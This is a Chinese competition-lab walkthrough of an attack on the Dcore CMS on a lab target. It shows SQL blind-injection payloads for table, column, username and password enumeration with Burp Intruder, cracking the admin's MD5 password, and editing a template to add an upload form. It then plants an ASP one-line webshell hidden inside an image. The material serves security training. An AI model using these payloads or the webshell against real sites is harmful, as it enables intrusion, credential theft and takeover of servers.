中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入

Dcore(轻型CMS系统)SQL注入

任务场景:

小张是一位新晋的网络运维工程师,而小王是一名网络安全工程师。某天接收到上级领导的指令,要求在公司里搭建一个论坛供外人访问交流使用,为了便携省事,小张就用Dcore搭建了一个网站。过几天,小张在尝试登陆服务器并且要定期维护网页时,发现自己管理员账户的密码被他人修改。于是请小王来帮忙,检查一下密码被修改的原因以及对方入侵的服务器网站的方法。

任务分析:

Dcore是一款轻便灵活、简单易用轻型CMS系统,非常适合用于建立个人博客或企业展示站点。

基于ASP+Acess技术,体积小巧、安装简便。简单易用的管理后台,轻松管理您的网站。灵活的栏目结构,可自由定制栏目风格模板。支持建立多个子站点,同一后台自由切换。丰富的模板标签系统和详细的说明文档。同步生成静态页面,支持多种静态化策略。

第一步:开始操作说明 

漏洞代码审计

在访问网页主页中index.asp页面会跳转到dynamic.asp,http://172.16.1.200/dynamic.asp?temp=index&subsite=1,dynamic.asp源码如下,temp参数指向了页面模板文件为index.html

第二步,双击渗透机机桌面上的Chrome浏览器图标,进入浏览器在地址栏输入网址http://172.16.1.200(靶机IP):8081/打开目标服务器首页

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第1张图片

观察网站的URL,找到地址中的参数信息:?temp=index&subsite=1,分解一下首页文档为dynamic.asp,temp参数中传递了index,表明该页面为常规的首页页面,并未在模板中做过任何修改操作,subsite=1子站点参数根据任务分析中对源代码进行分析的过程可以发现此处的subsite为未经过滤的参数,基本上可以判断在URL中是包含SQL注入的,通过构建SQL注入语句进行尝试。

第三步,点击URL地址栏右侧的图标以激活hackbar插件,接下来所有的注入操作都将在此进行

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第2张图片

插件右侧的三个按钮分别对应的是load URL(加载网址)、split URL(分割网址)、 Execute(执行),其中加载网址主要是将网址加载进插件窗口,便于修改;分割网址主要用于自动切分,并方便快速找出需要修改的地方;执行用途为访问窗口中的链接或payload。此工具还提供了很多web开发相关的命令,像urlencode,urldecode等常见的命令。在应对GET,POST请求这两个http协议中两个重要的请求时,经常会用到该插件。

第四步,接下来开始测试页面代码是否存在漏洞,首先点击插件右侧的第一个按钮(load URL),然后在url的末尾添加一个单引号,以检测是否存在单引号报错注入,最后点击第三个按钮(Execute)以执行跳转操作

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第3张图片

如果页面没有报错,说明特殊字符是经过网站过滤的,如果页面存在报错则说明首页存在注入点,页面返回结果如下

页面出现报错,且后台数据库出现详细的错误信息。恶意攻击者通常会利用这些报错信息来判断后台 SQL 的拼接形式,甚至是直接利用这些报错注入将数据库中的数据通过报错信息显示出来。接下来的操作就简单多了。

第五步,在URL末尾添加字段and 1=1

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第4张图片

有回显信息,证明逻辑正确,真实和真实为真实,也就是1=1这是第一个判断的信息,第二个判断的信息是and后边的信息,也就是1=1,和前面一样都为真实的事件,这两个判断信息都符合真实的条件,那么这个逻辑信息就是正确的。

在URL末尾添加字段and 1=2

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第5张图片

回显信息为错误,逻辑为正常,众所周知,在正常条件下1=1是正确的,也就是真实和真实等于真实,1=2这个信息,在正常的条件下是绝对不相等的,1 and 1 = 2,有一条信息不符合逻辑信息,所以回显是错误的,因为回显是错误的,说明sql的运行逻辑没有被做过逻辑修改,因为若将信息做信息处理,可以将1等于任何信息,就是对判断处理的一种防护模式,也就不会出现回显报错了。

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第6张图片

具体报错的行数为config.asp

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第7张图片

上述代码的行号为34,查询获得的结果会作为dynamic.asp文件所包含的getstyle.asp页面的参数并不会直接显示到页面中,因此不可以使用union查询。既然如此可以使用基于布尔类型的盲注,比如猜解表名:我们可以利用一些数据相关的字典信息来猜解表名,字典可以在桌面上找到:

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第8张图片

用于猜解表名的PoC:

and(select top 1 1 from Bruteforce[i])

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第9张图片

注意:常规的链接可通过点击右侧的第二个链接即可切分为上图所示的格式。

第六步,使用快捷键Ctrl + N,打开一个新的标签页,然后在地址栏中输入Chrome://settings/system,跳转至系统设置页面找到打开代理设置

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第10张图片

依照下图设置代理

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第11张图片

然后打开桌面上的Burp_suite软件,确认软件代理处于拦截请求状态

接下来,回到浏览器中,执行用于猜解表名的PoC,

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第12张图片

Burpsuite软件的代理已截获到浏览器发送过来的请求,使用右键菜单或快捷键Ctrl + I将请求发送给Intruder测试器

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第13张图片

转到测试器——位置,目标参数不用设置默认即可,点击位置模块,点击右侧的§清除按钮,清除所有自动分配的载荷位置

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第14张图片

然后将Bruteforce[i]设置为载荷位置

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第15张图片

接下来我们来设置有效的载荷参数,点击标签页中的有效载荷选项,选择有效载荷类型为运行时文件

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第16张图片

此时新增一个有效载荷选项[运行时文件],点击文件选择......按钮,并定位到桌面上的dict.txt文件

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第17张图片

最后点击右上角的开始攻击按钮,等待结果即可

在结果中发现dcore_user载荷的返回页面长度为14592

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第18张图片

通过查看该载荷响应包信息发现其现显示的页面为默认的论坛默认首页

1中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第19张图片

可以确定数据库表名为dcore_user。

第七步,用同样的方法判断列是否存在。

用于猜解列名的PoC:

and(select top 1 Bruteforce[j] from dcore_user)

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第20张图片

枚举结果如下

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第21张图片

成功枚举出列名user_name和user_password。

第八步,使用相同的方法猜解用户名长度,用于猜解用户名长度的PoC:

and iif((select top 1 len((select user_name from dcore_user)) from dcore_user) = Bruteforce[k], 1, 0)

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第22张图片

枚举结果如下:

发现用户名的长度为5。

第九步,使用相同的方法猜解用户名的值,用于猜解用户名值的PoC:

and iif((select mid((select user_name from dcore_user), num[j],1) from dcore_user)='Bruteforce[k]',1,0)

由于前面我们已经猜出了用户名长度为5,接下来只需要替换Bruteforce[k]为26个字母,替换num[j]为自然数1,2,3,4,5即可,第一个字母a已经判断出来,判断第二个字母,则使用以下paylaod

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第23张图片

位置参数配置,攻击类型选择集束炸弹(Clusterbomb)

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第24张图片

Intruder及有效载荷位置的配置参数如下

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第25张图片

枚举结果如下

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第26张图片

很快可以猜出用户名为admin。

第十步,当前已知表(dcore_user)和列名(user_name\user_password),接下来可以这样来查询,用于猜解admin用户密码的PoC

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第27张图片

得到如下的信息

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第28张图片

注意到这里可以看到加密的密码信息,需要去进行密码解密,加密的格式为MD5,解密后知道密码为admin,

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第29张图片

第十一步,登录界面的地址为172.16.1.200:8081/admin

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第30张图片

第十二步,登录服务器

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第31张图片

第十三步,如果不能正常跳转,需要手动点击管理界面

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第32张图片

第十四步,登陆成功后,可以看到后台管理的信息

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第33张图片

第十五步,进入到风格管理界面中,在这个界面中可以看到有两个主题的信息,一个缺省信息,一个wp信息,目前版本的功能尚未完善,所以无法对其他模板进行编辑,只能使用默认模板,在左侧也能看到两个信息,风格管理和模板管理

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第34张图片

第十六步,进入到模板管理中,选择风格为default,也就是缺省风格,在这里可以看到一些文件名称,而这些文件名都是在服务器中存在的信息,我们可以利用这一点进行文件的修改,从而达到自身的目的,可以看到这些文件的格式均为html,也就是静态页面的信息

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第35张图片

第十七步,对list.html进行编辑,打开可以看到里面的源码,在源码中可以看到这是一个静态页面,里边也有一些DIV框架和jsp脚本信息

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第36张图片

第十八步,打开虚拟机,可以根据之前看到的模板路径找到list.html页面,打开查看源码信息,截取部分信息,可以看到和网站中的信息一致,该文件路径位于C:\Intepub\wwwroot\dcore\template\default\list.html

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第37张图片

进入靶机中查看该页的页面信息

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第38张图片

第十九步,确认了以上信息之后开始对页面进行修改,创建出一个文件上传的页面信息

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第39张图片

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第40张图片

编辑完成后需要点击编辑进行保存

第二十步,在靶机中检查,list.html文件,可以看到信息出现了改变,说明,此文件夹有写入权限

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第41张图片

第二十一步,在页面中访问信息,路径之前在风格管理中的模板有写,所以直接访问,查看修改后的界面信息,能够看到一个上传界面信息,和最初预想的结果毫无任何差异

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第42张图片

第二十二步,创建木马文件wehshell.asp,上传一个asp的木马文件,木马代码<%eval request("cmd")%>

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第43张图片

上传后看到没有任何信息

第二十三步,对空白网页查看网页源代码信息,能够看到一个脚本的信息,在脚本中可以看到文件的名称及上传的路径

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第44张图片

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第45张图片

上传路径为/dcore_standard/uploads/,文件名称为2020010819525723.asp同时也能看到数字202,代表含义是上传信息限制。

第二十四步,尝试打开上传后的木马页面,发现并没有成功上传

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第46张图片

第二十五步,再次访问http://172.16.1.200:8081/template/default/list.html尝试上传桌面上的github.jpg图片,发现图片可以正常的上传到服务器中

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第47张图片

第二十六步,使用命令copy github.jpg/b+webshell.asp/a webshell.jpg

将木马合并到图片中, 然后将webshell.jpg改名为webshell.asp.jpg

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第48张图片

第二十七步,再次上传图片

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第49张图片

第二十八步,访问上传的页面查看是否上传成功

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第50张图片

第二十九步,打开桌面上的中国菜刀,使用工具chopper.exe连接asp木马

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第51张图片

第三十步,链接成功,渗透到靶机系统中

中职网络安全技能大赛P100-Dcore(轻型CMS系统)SQL注入_第52张图片

你可能感兴趣的:(网络安全,java,前端,数据库,网络空间安全,中科磐云)